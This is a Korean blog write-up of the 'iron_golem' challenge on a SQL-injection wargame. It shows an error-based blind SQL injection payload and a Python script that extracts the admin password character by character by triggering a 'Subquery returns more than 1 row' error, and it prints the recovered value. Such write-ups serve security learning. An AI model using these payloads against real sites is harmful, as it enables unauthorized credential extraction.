보통 참 거짓을 판별할 수 없는 blind sql injection에서는 시간 지연(sleep, benchmark 함수)을 이용해 해결한다.
하지만 여기서는 필터링되어있다.
그럼 error based sql injection임을 파악할 수 있다.
쿼리를 날렸을 때 에러가 발생하면 그 에러를 출력하라.
즉, 에러가 나지 않는다면 아무것도 안나오겠지? 에러가 발생한다는 것은 문법적으로 틀리는 등이어야 한다. 해당 데이터가 없는 것과는 다르다.
일단 pw 길이 파악이 우선이다.
pw=' or id='admin' and if(length(pw)=1, (select 1 union select 2), 1)# 1값을 계속 바꾸면서 진행한다.
length(pw)=32일 때
즉, admin의 pw 길이는 32라는 의미이다.
[**] 1==true / 0==false
import requests
cookies={"PHPSESSID":""}
passwd=""
for i in range(1, 33):
for c in range(48, 123):
url = f"https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=' or id='admin' and if(substr(pw,{i},1)=char({c}), (select 1 union select 2), 1)%23"
res = requests.get(url, cookies=cookies)
if "Subquery returns more than 1 row" in res.text:
passwd+=chr(c)
print(passwd)
break
output > 06B5A6C16E8830475F983CC3A825EE9A
lowercase로 바꿔야 한다.
mysql에서는 대소문자를 구별하지 않지만 php에서 구별한다.
'워게임 > LOS' 카테고리의 다른 글
hell fire(order by) (0) | 2021.10.05 |
---|---|
dark_eyes(error based sqli 심화) (0) | 2021.10.05 |
dragon (0) | 2021.10.04 |
[**] xavis (0) | 2021.10.04 |
[**] nightmare (묵시적 형변환) (0) | 2021.10.04 |
댓글